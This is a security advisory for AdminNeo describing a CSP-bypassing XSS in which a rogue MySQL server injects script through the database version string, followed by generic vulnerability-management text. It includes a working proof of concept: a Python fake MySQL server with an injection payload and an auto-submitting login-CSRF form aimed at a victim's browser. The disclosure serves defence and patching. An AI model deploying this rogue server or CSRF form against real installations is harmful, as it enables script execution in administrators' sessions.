AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
admin/core/Admin.php, lines 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.
Dockerfile (AdminNeo):
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (fake MySQL server that accepts any login):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
Open a browser and navigate to http://localhost:8081/adminneo.php:
HOST_IP:3307 (IP of the machine running rogue_mysql.py)rootxThe rogue server accepts the login. AdminNeo renders the dashboard and includes:
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
| Software | Affected versions |
|---|---|
adminneo-org / adminneo
|
< 5.5.1 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.